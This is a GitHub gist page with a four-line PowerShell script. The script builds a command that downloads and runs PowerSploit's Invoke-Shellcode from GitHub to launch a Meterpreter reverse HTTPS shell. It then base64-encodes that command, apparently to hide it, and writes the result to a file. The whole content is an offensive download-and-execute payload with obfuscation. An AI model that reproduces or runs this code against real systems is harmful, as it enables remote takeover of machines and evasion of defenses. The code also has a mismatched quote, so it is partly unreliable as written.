Created
January 8, 2018 04:19
-
-
Save SunnyHoi/833af27bc15cc9517ea82fc79dd5703d to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$command=”IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 127.0.0.1 -Lport 443 -Force” | |
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command) | |
$encodedCommand = [Convert]::ToBase64String($bytes) | |
$encodedCommand >> output.txt |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment